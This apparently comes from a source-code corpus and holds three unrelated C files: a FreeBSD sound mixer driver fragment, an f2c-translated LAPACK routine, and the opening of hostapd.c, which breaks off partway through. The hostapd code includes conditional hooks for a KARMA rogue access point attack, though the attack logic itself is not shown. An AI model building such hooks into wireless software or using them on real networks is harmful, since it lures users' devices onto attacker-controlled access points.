SOUND_MIXER_MUTE: return 0; break; case SOUND_MIXER_ENHANCE: i = 0; level &= 0x7f; if (level) i = (level / 20) - 1; mode_control &= ~P_M_MV508_ENHANCE_BITS; mode_control |= P_M_MV508_ENHANCE_BITS; set_mode(mode_control); if (i) i = (i + 1) * 20; return i; break; case SOUND_MIXER_LOUD: mode_control &= ~P_M_MV508_LOUDNESS; if (level) mode_control |= P_M_MV508_LOUDNESS; set_mode(mode_control); return !!level; /* 0 or 1 */ break; case SOUND_MIXER_RECSRC: devmask = level & POSSIBLE_RECORDING_DEVICES; changed = devmask ^ rec_devices; rec_devices = devmask; for (i = 0; i < SOUND_MIXER_NRDEVICES; i++) if (changed & (1 << i)) { pas_mixer_set(i, levels[i]); } return rec_devices; break; default: return -(EINVAL); } return (levels[whichDev]); } /*****/ static void pas_mixer_reset(void) { int foo; TRACE(printf("pas2_mixer.c: void pas_mixer_reset(void)\n")); for (foo = 0; foo < SOUND_MIXER_NRDEVICES; foo++) pas_mixer_set(foo, levels[foo]); set_mode(P_M_MV508_LOUDNESS | P_M_MV508_ENHANCE_40); } static int pas_mixer_ioctl(int dev, u_int cmd, ioctl_arg arg) { TRACE(printf("pas2_mixer.c: int pas_mixer_ioctl(u_int cmd = %X, u_int arg = %X)\n", cmd, arg)); if (((cmd >> 8) & 0xff) == 'M') { if (cmd & IOC_IN) return *(int *) arg = pas_mixer_set(cmd & 0xff, (*(int *) arg)); else { /* Read parameters */ switch (cmd & 0xff) { case SOUND_MIXER_RECSRC: return *(int *) arg = rec_devices; break; case SOUND_MIXER_STEREODEVS: return *(int *) arg = SUPPORTED_MIXER_DEVICES & ~(SOUND_MASK_BASS | SOUND_MASK_TREBLE); break; case SOUND_MIXER_DEVMASK: return *(int *) arg = SUPPORTED_MIXER_DEVICES; break; case SOUND_MIXER_RECMASK: return *(int *) arg = POSSIBLE_RECORDING_DEVICES & SUPPORTED_MIXER_DEVICES; break; case SOUND_MIXER_CAPS: return *(int *) arg = 0; /* No special * capabilities */ break; case SOUND_MIXER_MUTE: return *(int *) arg = 0; /* No mute yet */ break; case SOUND_MIXER_ENHANCE: if (!(mode_control & P_M_MV508_ENHANCE_BITS)) return *(int *) arg = 0; return *(int *) arg = ((mode_control & P_M_MV508_ENHANCE_BITS) + 1) * 20; break; case SOUND_MIXER_LOUD: if (mode_control & P_M_MV508_LOUDNESS) return *(int *) arg = 1; return *(int *) arg = 0; break; default: return *(int *) arg = levels[cmd & 0xff]; } } } return -(EINVAL); } static struct mixer_operations pas_mixer_operations = { "Pro Audio Spectrum 16", pas_mixer_ioctl }; int pas_init_mixer(void) { pas_mixer_reset(); if (num_mixers < MAX_MIXER_DEV) mixer_devs[num_mixers++] = &pas_mixer_operations; return 1; } #endif
MarginC/kame
freebsd3/sys/i386/isa/sound/pas2_mixer.c
C
bsd-3-clause
9,208
/* dlar1v.f -- translated by f2c (version 20061008). You must link the resulting object file with libf2c: on Microsoft Windows system, link with libf2c.lib; on Linux or Unix systems, link with .../path/to/libf2c.a -lm or, if you install libf2c.a in a standard place, with -lf2c -lm -- in that order, at the end of the command line, as in cc *.o -lf2c -lm Source for libf2c is in /netlib/f2c/libf2c.zip, e.g., http://www.netlib.org/f2c/libf2c.zip */ #include "f2c.h" #include "blaswrap.h" /* Subroutine */ int dlar1v_(integer *n, integer *b1, integer *bn, doublereal *lambda, doublereal *d__, doublereal *l, doublereal *ld, doublereal * lld, doublereal *pivmin, doublereal *gaptol, doublereal *z__, logical *wantnc, integer *negcnt, doublereal *ztz, doublereal *mingma, integer *r__, integer *isuppz, doublereal *nrminv, doublereal *resid, doublereal *rqcorr, doublereal *work) { /* System generated locals */ integer i__1; doublereal d__1, d__2, d__3; /* Local variables */ integer i__; doublereal s; integer r1, r2; doublereal eps, tmp; integer neg1, neg2, indp, inds; doublereal dplus; integer indlpl, indumn; doublereal dminus; logical sawnan1, sawnan2; /* -- LAPACK auxiliary routine (version 3.2) -- */ /* November 2006 */ /* Purpose */ /* ======= */ /* DLAR1V computes the (scaled) r-th column of the inverse of */ /* the sumbmatrix in rows B1 through BN of the tridiagonal matrix */ /* L D L^T - sigma I. When sigma is close to an eigenvalue, the */ /* computed vector is an accurate eigenvector. Usually, r corresponds */ /* to the index where the eigenvector is largest in magnitude. */ /* The following steps accomplish this computation : */ /* (a) Stationary qd transform, L D L^T - sigma I = L(+) D(+) L(+)^T, */ /* (b) Progressive qd transform, L D L^T - sigma I = U(-) D(-) U(-)^T, */ /* (c) Computation of the diagonal elements of the inverse of */ /* L D L^T - sigma I by combining the above transforms, and choosing */ /* r as the index where the diagonal of the inverse is (one of the) */ /* largest in magnitude. */ /* (d) Computation of the (scaled) r-th column of the inverse using the */ /* twisted factorization obtained by combining the top part of the */ /* the stationary and the bottom part of the progressive transform. */ /* Arguments */ /* ========= */ /* N (input) INTEGER */ /* The order of the matrix L D L^T. */ /* B1 (input) INTEGER */ /* First index of the submatrix of L D L^T. */ /* BN (input) INTEGER */ /* Last index of the submatrix of L D L^T. */ /* LAMBDA (input) DOUBLE PRECISION */ /* The shift. In order to compute an accurate eigenvector, */ /* LAMBDA should be a good approximation to an eigenvalue */ /* of L D L^T. */ /* L (input) DOUBLE PRECISION array, dimension (N-1) */ /* The (n-1) subdiagonal elements of the unit bidiagonal matrix */ /* L, in elements 1 to N-1. */ /* D (input) DOUBLE PRECISION array, dimension (N) */ /* The n diagonal elements of the diagonal matrix D. */ /* LD (input) DOUBLE PRECISION array, dimension (N-1) */ /* The n-1 elements L(i)*D(i). */ /* LLD (input) DOUBLE PRECISION array, dimension (N-1) */ /* The n-1 elements L(i)*L(i)*D(i). */ /* PIVMIN (input) DOUBLE PRECISION */ /* The minimum pivot in the Sturm sequence. */ /* GAPTOL (input) DOUBLE PRECISION */ /* Tolerance that indicates when eigenvector entries are negligible */ /* w.r.t. their contribution to the residual. */ /* Z (input/output) DOUBLE PRECISION array, dimension (N) */ /* On input, all entries of Z must be set to 0. */ /* On output, Z contains the (scaled) r-th column of the */ /* inverse. The scaling is such that Z(R) equals 1. */ /* WANTNC (input) LOGICAL */ /* Specifies whether NEGCNT has to be computed. */ /* NEGCNT (output) INTEGER */ /* If WANTNC is .TRUE. then NEGCNT = the number of pivots < pivmin */ /* in the matrix factorization L D L^T, and NEGCNT = -1 otherwise. */ /* ZTZ (output) DOUBLE PRECISION */ /* The square of the 2-norm of Z. */ /* MINGMA (output) DOUBLE PRECISION */ /* The reciprocal of the largest (in magnitude) diagonal */ /* element of the inverse of L D L^T - sigma I. */ /* R (input/output) INTEGER */ /* The twist index for the twisted factorization used to */ /* compute Z. */ /* On input, 0 <= R <= N. If R is input as 0, R is set to */ /* the index where (L D L^T - sigma I)^{-1} is largest */ /* in magnitude. If 1 <= R <= N, R is unchanged. */ /* On output, R contains the twist index used to compute Z. */ /* Ideally, R designates the position of the maximum entry in the */ /* eigenvector. */ /* ISUPPZ (output) INTEGER array, dimension (2) */ /* The support of the vector in Z, i.e., the vector Z is */ /* nonzero only in elements ISUPPZ(1) through ISUPPZ( 2 ). */ /* NRMINV (output) DOUBLE PRECISION */ /* NRMINV = 1/SQRT( ZTZ ) */ /* RESID (output) DOUBLE PRECISION */ /* The residual of the FP vector. */ /* RESID = ABS( MINGMA )/SQRT( ZTZ ) */ /* RQCORR (output) DOUBLE PRECISION */ /* The Rayleigh Quotient correction to LAMBDA. */ /* RQCORR = MINGMA*TMP */ /* WORK (workspace) DOUBLE PRECISION array, dimension (4*N) */ /* Further Details */ /* =============== */ /* Based on contributions by */ /* Beresford Parlett, University of California, Berkeley, USA */ /* Jim Demmel, University of California, Berkeley, USA */ /* Inderjit Dhillon, University of Texas, Austin, USA */ /* Osni Marques, LBNL/NERSC, USA */ /* Christof Voemel, University of California, Berkeley, USA */ /* ===================================================================== */ /* Parameter adjustments */ --work; --isuppz; --z__; --lld; --ld; --l; --d__; /* Function Body */ eps = dlamch_("Precision"); if (*r__ == 0) { r1 = *b1; r2 = *bn; } else { r1 = *r__; r2 = *r__; } /* Storage for LPLUS */ indlpl = 0; /* Storage for UMINUS */ indumn = *n; inds = (*n << 1) + 1; indp = *n * 3 + 1; if (*b1 == 1) { work[inds] = 0.; } else { work[inds + *b1 - 1] = lld[*b1 - 1]; } /* Compute the stationary transform (using the differential form) */ /* until the index R2. */ sawnan1 = FALSE_; neg1 = 0; s = work[inds + *b1 - 1] - *lambda; i__1 = r1 - 1; for (i__ = *b1; i__ <= i__1; ++i__) { dplus = d__[i__] + s; work[indlpl + i__] = ld[i__] / dplus; if (dplus < 0.) { ++neg1; } work[inds + i__] = s * work[indlpl + i__] * l[i__]; s = work[inds + i__] - *lambda; } sawnan1 = disnan_(&s); if (sawnan1) { goto L60; } i__1 = r2 - 1; for (i__ = r1; i__ <= i__1; ++i__) { dplus = d__[i__] + s; work[indlpl + i__] = ld[i__] / dplus; work[inds + i__] = s * work[indlpl + i__] * l[i__]; s = work[inds + i__] - *lambda; } sawnan1 = disnan_(&s); L60: if (sawnan1) { /* Runs a slower version of the above loop if a NaN is detected */ neg1 = 0; s = work[inds + *b1 - 1] - *lambda; i__1 = r1 - 1; for (i__ = *b1; i__ <= i__1; ++i__) { dplus = d__[i__] + s; if (abs(dplus) < *pivmin) { dplus = -(*pivmin); } work[indlpl + i__] = ld[i__] / dplus; if (dplus < 0.) { ++neg1; } work[inds + i__] = s * work[indlpl + i__] * l[i__]; if (work[indlpl + i__] == 0.) { work[inds + i__] = lld[i__]; } s = work[inds + i__] - *lambda; } i__1 = r2 - 1; for (i__ = r1; i__ <= i__1; ++i__) { dplus = d__[i__] + s; if (abs(dplus) < *pivmin) { dplus = -(*pivmin); } work[indlpl + i__] = ld[i__] / dplus; work[inds + i__] = s * work[indlpl + i__] * l[i__]; if (work[indlpl + i__] == 0.) { work[inds + i__] = lld[i__]; } s = work[inds + i__] - *lambda; } } /* Compute the progressive transform (using the differential form) */ /* until the index R1 */ sawnan2 = FALSE_; neg2 = 0; work[indp + *bn - 1] = d__[*bn] - *lambda; i__1 = r1; for (i__ = *bn - 1; i__ >= i__1; --i__) { dminus = lld[i__] + work[indp + i__]; tmp = d__[i__] / dminus; if (dminus < 0.) { ++neg2; } work[indumn + i__] = l[i__] * tmp; work[indp + i__ - 1] = work[indp + i__] * tmp - *lambda; } tmp = work[indp + r1 - 1]; sawnan2 = disnan_(&tmp); if (sawnan2) { /* Runs a slower version of the above loop if a NaN is detected */ neg2 = 0; i__1 = r1; for (i__ = *bn - 1; i__ >= i__1; --i__) { dminus = lld[i__] + work[indp + i__]; if (abs(dminus) < *pivmin) { dminus = -(*pivmin); } tmp = d__[i__] / dminus; if (dminus < 0.) { ++neg2; } work[indumn + i__] = l[i__] * tmp; work[indp + i__ - 1] = work[indp + i__] * tmp - *lambda; if (tmp == 0.) { work[indp + i__ - 1] = d__[i__] - *lambda; } } } /* Find the index (from R1 to R2) of the largest (in magnitude) */ /* diagonal element of the inverse */ *mingma = work[inds + r1 - 1] + work[indp + r1 - 1]; if (*mingma < 0.) { ++neg1; } if (*wantnc) { *negcnt = neg1 + neg2; } else { *negcnt = -1; } if (abs(*mingma) == 0.) { *mingma = eps * work[inds + r1 - 1]; } *r__ = r1; i__1 = r2 - 1; for (i__ = r1; i__ <= i__1; ++i__) { tmp = work[inds + i__] + work[indp + i__]; if (tmp == 0.) { tmp = eps * work[inds + i__]; } if (abs(tmp) <= abs(*mingma)) { *mingma = tmp; *r__ = i__ + 1; } } /* Compute the FP vector: solve N^T v = e_r */ isuppz[1] = *b1; isuppz[2] = *bn; z__[*r__] = 1.; *ztz = 1.; /* Compute the FP vector upwards from R */ if (! sawnan1 && ! sawnan2) { i__1 = *b1; for (i__ = *r__ - 1; i__ >= i__1; --i__) { z__[i__] = -(work[indlpl + i__] * z__[i__ + 1]); if (((d__1 = z__[i__], abs(d__1)) + (d__2 = z__[i__ + 1], abs( d__2))) * (d__3 = ld[i__], abs(d__3)) < *gaptol) { z__[i__] = 0.; isuppz[1] = i__ + 1; goto L220; } *ztz += z__[i__] * z__[i__]; } L220: ; } else { /* Run slower loop if NaN occurred. */ i__1 = *b1; for (i__ = *r__ - 1; i__ >= i__1; --i__) { if (z__[i__ + 1] == 0.) { z__[i__] = -(ld[i__ + 1] / ld[i__]) * z__[i__ + 2]; } else { z__[i__] = -(work[indlpl + i__] * z__[i__ + 1]); } if (((d__1 = z__[i__], abs(d__1)) + (d__2 = z__[i__ + 1], abs( d__2))) * (d__3 = ld[i__], abs(d__3)) < *gaptol) { z__[i__] = 0.; isuppz[1] = i__ + 1; goto L240; } *ztz += z__[i__] * z__[i__]; } L240: ; } /* Compute the FP vector downwards from R in blocks of size BLKSIZ */ if (! sawnan1 && ! sawnan2) { i__1 = *bn - 1; for (i__ = *r__; i__ <= i__1; ++i__) { z__[i__ + 1] = -(work[indumn + i__] * z__[i__]); if (((d__1 = z__[i__], abs(d__1)) + (d__2 = z__[i__ + 1], abs( d__2))) * (d__3 = ld[i__], abs(d__3)) < *gaptol) { z__[i__ + 1] = 0.; isuppz[2] = i__; goto L260; } *ztz += z__[i__ + 1] * z__[i__ + 1]; } L260: ; } else { /* Run slower loop if NaN occurred. */ i__1 = *bn - 1; for (i__ = *r__; i__ <= i__1; ++i__) { if (z__[i__] == 0.) { z__[i__ + 1] = -(ld[i__ - 1] / ld[i__]) * z__[i__ - 1]; } else { z__[i__ + 1] = -(work[indumn + i__] * z__[i__]); } if (((d__1 = z__[i__], abs(d__1)) + (d__2 = z__[i__ + 1], abs( d__2))) * (d__3 = ld[i__], abs(d__3)) < *gaptol) { z__[i__ + 1] = 0.; isuppz[2] = i__; goto L280; } *ztz += z__[i__ + 1] * z__[i__ + 1]; } L280: ; } /* Compute quantities for convergence test */ tmp = 1. / *ztz; *nrminv = sqrt(tmp); *resid = abs(*mingma) * *nrminv; *rqcorr = *mingma * tmp; return 0; /* End of DLAR1V */ } /* dlar1v_ */
juanjosegarciaripoll/cblapack
src/lapack/dlar1v.c
C
bsd-3-clause
12,170
/* * hostapd / Initialization and configuration * Copyright (c) 2002-2014, Jouni Malinen <j@w1.fi> * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "common/ieee802_11_defs.h" #include "common/wpa_ctrl.h" #include "common/hw_features_common.h" #include "radius/radius_client.h" #include "radius/radius_das.h" #include "eap_server/tncs.h" #include "eapol_auth/eapol_auth_sm.h" #include "eapol_auth/eapol_auth_sm_i.h" #include "fst/fst.h" #include "hostapd.h" #include "authsrv.h" #include "sta_info.h" #include "accounting.h" #include "ap_list.h" #include "beacon.h" #include "iapp.h" #include "ieee802_1x.h" #include "ieee802_11_auth.h" #include "vlan_init.h" #include "wpa_auth.h" #include "wps_hostapd.h" #include "hw_features.h" #include "wpa_auth_glue.h" #include "ap_drv_ops.h" #include "ap_config.h" #include "p2p_hostapd.h" #include "gas_serv.h" #include "dfs.h" #include "ieee802_11.h" #include "bss_load.h" #include "x_snoop.h" #include "dhcp_snoop.h" #include "ndisc_snoop.h" #include "neighbor_db.h" #include "rrm.h" #ifdef CONFIG_KARMA_ATTACK #include "karma_handlers.h" #endif static int hostapd_flush_old_stations(struct hostapd_data *hapd, u16 reason); static int hostapd_setup_encryption(char *iface, struct hostapd_data *hapd); static int hostapd_broadcast_wep_clear(struct hostapd_data *hapd); static int setup_interface2(struct hostapd_iface *iface); static void channel_list_update_timeout(void *eloop_ctx, void *timeout_ctx); #ifdef CONFIG_KARMA_ATTACK struct hostapd_data *g_hapd_data; #endif int hostapd_for_each_interface(struct hapd_interfaces *interfaces, int (*cb)(struct hostapd_iface *iface, void *ctx), void *ctx) { size_t i; int ret; for (i = 0; i < interfaces->count; i++) { ret = cb(interfaces->iface[i], ctx); if (ret) return ret; } return 0; } static void hostapd_reload_bss(struct hostapd_data *hapd) { struct hostapd_ssid *ssid; #ifndef CONFIG_NO_RADIUS radius_client_reconfig(hapd->radius, hapd->conf->radius); #endif /* CONFIG_NO_RADIUS */ ssid = &hapd->conf->ssid; if (!ssid->wpa_psk_set && ssid->wpa_psk && !ssid->wpa_psk->next && ssid->wpa_passphrase_set && ssid->wpa_passphrase) { /* * Force PSK to be derived again since SSID or passphrase may * have changed. */ hostapd_config_clear_wpa_psk(&hapd->conf->ssid.wpa_psk); } if (hostapd_setup_wpa_psk(hapd->conf)) { wpa_printf(MSG_ERROR, "Failed to re-configure WPA PSK " "after reloading configuration"); } if (hapd->conf->ieee802_1x || hapd->conf->wpa) hostapd_set_drv_ieee8021x(hapd, hapd->conf->iface, 1); else hostapd_set_drv_ieee8021x(hapd, hapd->conf->iface, 0); if ((hapd->conf->wpa || hapd->conf->osen) && hapd->wpa_auth == NULL) { hostapd_setup_wpa(hapd); if (hapd->wpa_auth) wpa_init_keys(hapd->wpa_auth); } else if (hapd->conf->wpa) { const u8 *wpa_ie; size_t wpa_ie_len; hostapd_reconfig_wpa(hapd); wpa_ie = wpa_auth_get_wpa_ie(hapd->wpa_auth, &wpa_ie_len); if (hostapd_set_generic_elem(hapd, wpa_ie, wpa_ie_len)) wpa_printf(MSG_ERROR, "Failed to configure WPA IE for " "the kernel driver."); } else if (hapd->wpa_auth) { wpa_deinit(hapd->wpa_auth); hapd->wpa_auth = NULL; hostapd_set_privacy(hapd, 0); hostapd_setup_encryption(hapd->conf->iface, hapd); hostapd_set_generic_elem(hapd, (u8 *) "", 0); } ieee802_11_set_beacon(hapd); hostapd_update_wps(hapd); if (hapd->conf->ssid.ssid_set && hostapd_set_ssid(hapd, hapd->conf->ssid.ssid, hapd->conf->ssid.ssid_len)) { wpa_printf(MSG_ERROR, "Could not set SSID for kernel driver"); /* try to continue */ } wpa_printf(MSG_DEBUG, "Reconfigured interface %s", hapd->conf->iface); } static void hostapd_clear_old(struct hostapd_iface *iface) { size_t j; /* * Deauthenticate all stations since the new configuration may not * allow them to use the BSS anymore. */ for (j = 0; j < iface->num_bss; j++) { hostapd_flush_old_stations(iface->bss[j], WLAN_REASON_PREV_AUTH_NOT_VALID); hostapd_broadcast_wep_clear(iface->bss[j]); #ifndef CONFIG_NO_RADIUS /* TODO: update dynamic data based on changed configuration * items (e.g., open/close sockets, etc.) */ radius_client_flush(iface->bss[j]->radius, 0); #endif /* CONFIG_NO_RADIUS */ } } int hostapd_reload_config(struct hostapd_iface *iface) { struct hostapd_data *hapd = iface->bss[0]; struct hostapd_config *newconf, *oldconf; size_t j; if (iface->config_fname == NULL) { /* Only in-memory config in use - assume it has been updated */ hostapd_clear_old(iface); for (j = 0; j < iface->num_bss; j++) hostapd_reload_bss(iface->bss[j]); return 0; } if (iface->interfaces == NULL || iface->interfaces->config_read_cb == NULL) return -1; newconf = iface->interfaces->config_read_cb(iface->config_fname); if (newconf == NULL) return -1; hostapd_clear_old(iface); oldconf = hapd->iconf; iface->conf = newconf; for (j = 0; j < iface->num_bss; j++) { hapd = iface->bss[j]; hapd->iconf = newconf; hapd->iconf->channel = oldconf->channel; hapd->iconf->acs = oldconf->acs; hapd->iconf->secondary_channel = oldconf->secondary_channel; hapd->iconf->ieee80211n = oldconf->ieee80211n; hapd->iconf->ieee80211ac = oldconf->ieee80211ac; hapd->iconf->ht_capab = oldconf->ht_capab; hapd->iconf->vht_capab = oldconf->vht_capab; hapd->iconf->vht_oper_chwidth = oldconf->vht_oper_chwidth; hapd->iconf->vht_oper_centr_freq_seg0_idx = oldconf->vht_oper_centr_freq_seg0_idx; hapd->iconf->vht_oper_centr_freq_seg1_idx = oldconf->vht_oper_centr_freq_seg1_idx; hapd->conf = newconf->bss[j]; hostapd_reload_bss(hapd); } hostapd_config_free(oldconf); return 0; } static void hostapd_broadcast_key_clear_iface(struct hostapd_data *hapd, const char *ifname) { int i; if (!ifname) return; for (i = 0; i < NUM_WEP_KEYS; i++) { if (hostapd_drv_set_key(ifname, hapd, WPA_ALG_NONE, NULL, i, 0, NULL, 0, NULL, 0)) { wpa_printf(MSG_DEBUG, "Failed to clear default " "encryption keys (ifname=%s keyidx=%d)", ifname, i); } } #ifdef CONFIG_IEEE80211W if (hapd->conf->ieee80211w) { for (i = NUM_WEP_KEYS; i < NUM_WEP_KEYS + 2; i++) { if (hostapd_drv_set_key(ifname, hapd, WPA_ALG_NONE, NULL, i, 0, NULL, 0, NULL, 0)) { wpa_printf(MSG_DEBUG, "Failed to clear " "default mgmt encryption keys " "(ifname=%s keyidx=%d)", ifname, i); } } } #endif /* CONFIG_IEEE80211W */ } static int hostapd_broadcast_wep_clear(struct hostapd_data *hapd) { hostapd_broadcast_key_clear_iface(hapd, hapd->conf->iface); return 0; } static int hostapd_broadcast_wep_set(struct hostapd_data *hapd) { int errors = 0, idx; struct hostapd_ssid *ssid = &hapd->conf->ssid; idx = ssid->wep.idx; if (ssid->wep.default_len && hostapd_drv_set_key(hapd->conf->iface, hapd, WPA_ALG_WEP, broadcast_ether_addr, idx, 1, NULL, 0, ssid->wep.key[idx], ssid->wep.len[idx])) { wpa_printf(MSG_WARNING, "Could not set WEP encryption."); errors++; } return errors; } static void hostapd_free_hapd_data(struct hostapd_data *hapd) { os_free(hapd->probereq_cb); hapd->probereq_cb = NULL; hapd->num_probereq_cb = 0; #ifdef CONFIG_P2P wpabuf_free(hapd->p2p_beacon_ie); hapd->p2p_beacon_ie = NULL; wpabuf_free(hapd->p2p_probe_resp_ie); hapd->p2p_probe_resp_ie = NULL; #endif /* CONFIG_P2P */ if (!hapd->started) { wpa_printf(MSG_ERROR, "%s: Interface %s wasn't started", __func__, hapd->conf->iface); return; } hapd->started = 0; wpa_printf(MSG_DEBUG, "%s(%s)", __func__, hapd->conf->iface); iapp_deinit(hapd->iapp); hapd->iapp = NULL; accounting_deinit(hapd); hostapd_deinit_wpa(hapd); vlan_deinit(hapd); hostapd_acl_deinit(hapd); #ifndef CONFIG_NO_RADIUS radius_client_deinit(hapd->radius); hapd->radius = NULL; radius_das_deinit(hapd->radius_das); hapd->radius_das = NULL; #endif /* CONFIG_NO_RADIUS */ hostapd_deinit_wps(hapd); authsrv_deinit(hapd); if (hapd->interface_added) { hapd->interface_added = 0; if (hostapd_if_remove(hapd, WPA_IF_AP_BSS, hapd->conf->iface)) { wpa_printf(MSG_WARNING, "Failed to remove BSS interface %s", hapd->conf->iface); hapd->interface_added = 1; } else { /* * Since this was a dynamically added interface, the * driver wrapper may have removed its internal instance * and hapd->drv_priv is not valid anymore. */ hapd->drv_priv = NULL; } } wpabuf_free(hapd->time_adv); #ifdef CONFIG_INTERWORKING gas_serv_deinit(hapd); #endif /* CONFIG_INTERWORKING */ bss_load_update_deinit(hapd); ndisc_snoop_deinit(hapd); dhcp_snoop_deinit(hapd); x_snoop_deinit(hapd); #ifdef CONFIG_SQLITE bin_clear_free(hapd->tmp_eap_user.identity, hapd->tmp_eap_user.identity_len); bin_clear_free(hapd->tmp_eap_user.password, hapd->tmp_eap_user.password_len); #endif /* CONFIG_SQLITE */ #ifdef CONFIG_MESH wpabuf_free(hapd->mesh_pending_auth); hapd->mesh_pending_auth = NULL; #endif /* CONFIG_MESH */ hostapd_clean_rrm(hapd); } /** * hostapd_cleanup - Per-BSS cleanup (deinitialization) * @hapd: Pointer to BSS data * * This function is used to free all per-BSS data structures and resources. * Most of the modules that are initialized in hostapd_setup_bss() are * deinitialized here. */ static void hostapd_cleanup(struct hostapd_data *hapd) { wpa_printf(MSG_DEBUG, "%s(hapd=%p (%s))", __func__, hapd, hapd->conf->iface); if (hapd->iface->interfaces && hapd->iface->interfaces->ctrl_iface_deinit) hapd->iface->interfaces->ctrl_iface_deinit(hapd); hostapd_free_hapd_data(hapd); } static void sta_track_deinit(struct hostapd_iface *iface) { struct hostapd_sta_info *info; if (!iface->num_sta_seen) return; while ((info = dl_list_first(&iface->sta_seen, struct hostapd_sta_info, list))) { dl_list_del(&info->list); iface->num_sta_seen--; sta_track_del(info); } } static void hostapd_cleanup_iface_partial(struct hostapd_iface *iface) { wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); #ifdef CONFIG_IEEE80211N #ifdef NEED_AP_MLME hostapd_stop_setup_timers(iface); #endif /* NEED_AP_MLME */ #endif /* CONFIG_IEEE80211N */ hostapd_free_hw_features(iface->hw_features, iface->num_hw_features); iface->hw_features = NULL; os_free(iface->current_rates); iface->current_rates = NULL; os_free(iface->basic_rates); iface->basic_rates = NULL; ap_list_deinit(iface); sta_track_deinit(iface); } /** * hostapd_cleanup_iface - Complete per-interface cleanup * @iface: Pointer to interface data * * This function is called after per-BSS data structures are deinitialized * with hostapd_cleanup(). */ static void hostapd_cleanup_iface(struct hostapd_iface *iface) { wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); eloop_cancel_timeout(channel_list_update_timeout, iface, NULL); hostapd_cleanup_iface_partial(iface); hostapd_config_free(iface->conf); iface->conf = NULL; os_free(iface->config_fname); os_free(iface->bss); wpa_printf(MSG_DEBUG, "%s: free iface=%p", __func__, iface); os_free(iface); } static void hostapd_clear_wep(struct hostapd_data *hapd) { if (hapd->drv_priv && !hapd->iface->driver_ap_teardown) { hostapd_set_privacy(hapd, 0); hostapd_broadcast_wep_clear(hapd); } } static int hostapd_setup_encryption(char *iface, struct hostapd_data *hapd) { int i; hostapd_broadcast_wep_set(hapd); if (hapd->conf->ssid.wep.default_len) { hostapd_set_privacy(hapd, 1); return 0; } /* * When IEEE 802.1X is not enabled, the driver may need to know how to * set authentication algorithms for static WEP. */ hostapd_drv_set_authmode(hapd, hapd->conf->auth_algs); for (i = 0; i < 4; i++) { if (hapd->conf->ssid.wep.key[i] && hostapd_drv_set_key(iface, hapd, WPA_ALG_WEP, NULL, i, i == hapd->conf->ssid.wep.idx, NULL, 0, hapd->conf->ssid.wep.key[i], hapd->conf->ssid.wep.len[i])) { wpa_printf(MSG_WARNING, "Could not set WEP " "encryption."); return -1; } if (hapd->conf->ssid.wep.key[i] && i == hapd->conf->ssid.wep.idx) hostapd_set_privacy(hapd, 1); } return 0; } static int hostapd_flush_old_stations(struct hostapd_data *hapd, u16 reason) { int ret = 0; u8 addr[ETH_ALEN]; if (hostapd_drv_none(hapd) || hapd->drv_priv == NULL) return 0; if (!hapd->iface->driver_ap_teardown) { wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "Flushing old station entries"); if (hostapd_flush(hapd)) { wpa_msg(hapd->msg_ctx, MSG_WARNING, "Could not connect to kernel driver"); ret = -1; } } wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "Deauthenticate all stations"); os_memset(addr, 0xff, ETH_ALEN); hostapd_drv_sta_deauth(hapd, addr, reason); hostapd_free_stas(hapd); return ret; } static void hostapd_bss_deinit_no_free(struct hostapd_data *hapd) { #ifdef CONFIG_KARMA_ATTACK free_all_karma_data(hapd); #endif hostapd_free_stas(hapd); hostapd_flush_old_stations(hapd, WLAN_REASON_DEAUTH_LEAVING); hostapd_clear_wep(hapd); } /** * hostapd_validate_bssid_configuration - Validate BSSID configuration * @iface: Pointer to interface data * Returns: 0 on success, -1 on failure * * This function is used to validate that the configured BSSIDs are valid. */ static int hostapd_validate_bssid_configuration(struct hostapd_iface *iface) { u8 mask[ETH_ALEN] = { 0 }; struct hostapd_data *hapd = iface->bss[0]; unsigned int i = iface->conf->num_bss, bits = 0, j; int auto_addr = 0; if (hostapd_drv_none(hapd)) return 0; if (iface->conf->use_driver_iface_addr) return 0; /* Generate BSSID mask that is large enough to cover the BSSIDs. */ /* Determine the bits necessary to cover the number of BSSIDs. */ for (i--; i; i >>= 1) bits++; /* Determine the bits necessary to any configured BSSIDs, if they are higher than the number of BSSIDs. */ for (j = 0; j < iface->conf->num_bss; j++) { if (is_zero_ether_addr(iface->conf->bss[j]->bssid)) { if (j) auto_addr++; continue; } for (i = 0; i < ETH_ALEN; i++) { mask[i] |= iface->conf->bss[j]->bssid[i] ^ hapd->own_addr[i]; } } if (!auto_addr) goto skip_mask_ext; for (i = 0; i < ETH_ALEN && mask[i] == 0; i++) ; j = 0; if (i < ETH_ALEN) { j = (5 - i) * 8; while (mask[i] != 0) { mask[i] >>= 1; j++; } } if (bits < j) bits = j; if (bits > 40) { wpa_printf(MSG_ERROR, "Too many bits in the BSSID mask (%u)", bits); return -1; } os_memset(mask, 0xff, ETH_ALEN); j = bits / 8; for (i = 5; i > 5 - j; i--) mask[i] = 0; j = bits % 8; while (j--) mask[i] <<= 1; skip_mask_ext: wpa_printf(MSG_DEBUG, "BSS count %lu, BSSID mask " MACSTR " (%d bits)", (unsigned long) iface->conf->num_bss, MAC2STR(mask), bits); if (!auto_addr) return 0; for (i = 0; i < ETH_ALEN; i++) { if ((hapd->own_addr[i] & mask[i]) != hapd->own_addr[i]) { wpa_printf(MSG_ERROR, "Invalid BSSID mask " MACSTR " for start address " MACSTR ".", MAC2STR(mask), MAC2STR(hapd->own_addr)); wpa_printf(MSG_ERROR, "Start address must be the " "first address in the block (i.e., addr " "AND mask == addr)."); return -1; } } return 0; } static int mac_in_conf(struct hostapd_config *conf, const void *a) { size_t i; for (i = 0; i < conf->num_bss; i++) { if (hostapd_mac_comp(conf->bss[i]->bssid, a) == 0) { return 1; } } return 0; } #ifndef CONFIG_NO_RADIUS static int hostapd_das_nas_mismatch(struct hostapd_data *hapd, struct radius_das_attrs *attr) { if (attr->nas_identifier && (!hapd->conf->nas_identifier || os_strlen(hapd->conf->nas_identifier) != attr->nas_identifier_len || os_memcmp(hapd->conf->nas_identifier, attr->nas_identifier, attr->nas_identifier_len) != 0)) { wpa_printf(MSG_DEBUG, "RADIUS DAS: NAS-Identifier mismatch"); return 1; } if (attr->nas_ip_addr && (hapd->conf->own_ip_addr.af != AF_INET || 